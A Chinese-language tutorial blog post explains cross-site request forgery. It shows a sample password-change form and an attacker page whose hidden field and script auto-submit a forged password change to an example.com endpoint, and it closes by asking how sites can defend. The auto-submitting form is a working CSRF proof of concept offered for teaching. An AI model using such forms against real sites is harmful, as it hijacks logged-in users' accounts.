雖然昨天先架設好了模擬環境,但苦於還在找資料與理解學習,所以今天回去介紹了之前沒提到的跨站請求偽造(CSRF)。
跨站偽造請求(Cross Site Request Forgery)是一種針對網頁的攻擊手段。它會偽造成是合法用戶在發送請求,使得攻擊者可以執行一些未經授權的操作比如更換密碼、資金轉帳等。簡單的以之前聊過的XSS來解釋,XSS的攻擊是利用了使用者對於一些網站的信任,CSRF就是利用了網站對於使用者的信任。
CSRF的攻擊通常包含了多種條件,以下是常見的一些主要要素:
假設今天有個用html製作的用於更改密碼的表單:
<html>
<head>
<title>更改密碼</title>
</head>
<body>
<h1>更改密碼</h1>
<form id="passwordChangeForm" action="https://example.com/change-password-here" method="POST">
<label for="newPassword">新密碼:</label>
<input type="password" id="newPassword" name="newPassword"><br><br>
<input type="submit" value="更改密碼">
</form>
</body>
</html>
它會將使用者更改密碼的請求發送到我們https://example.com/change-password-here
的url去。
這時候攻擊者創建了惡意網站包含了自動提交表單:
<html>
<head>
<title>跨站偽造請求攻擊</title>
</head>
<body>
<h1>CSRF攻擊</h1>
<form id="csrfForm" action="https://example.com/change-password-here" method="POST">
<input type="hidden" name="newPassword" value="惡意更改的密碼">
<input type="submit" value="執行攻擊">
</form>
<script>
// 自動提交表單
document.getElementById("csrfForm").submit();
</script>
</body>
</html>
只要使用者訪問了這個惡意網站,偽造的密碼更改請求就會被送到https://example.com/change-password-here
,就像使用者自己提出請求一樣。
CSRF攻擊能夠成立的原因正是因為攻擊的網頁還處於登入狀態,害怕會遇到CSRF攻擊的話每次使用完網頁之後做登出就可以了。但其實使用者能做的不多因為攻擊是對目標網站的,那目標網站可以做些什麼行動來防範如此可怕的CSRF攻擊呢?
參考資料
跨站請求偽造
零基礎資安系列(一)-認識 CSRF(Cross Site Request Forgery)
讓我們來談談 CSRF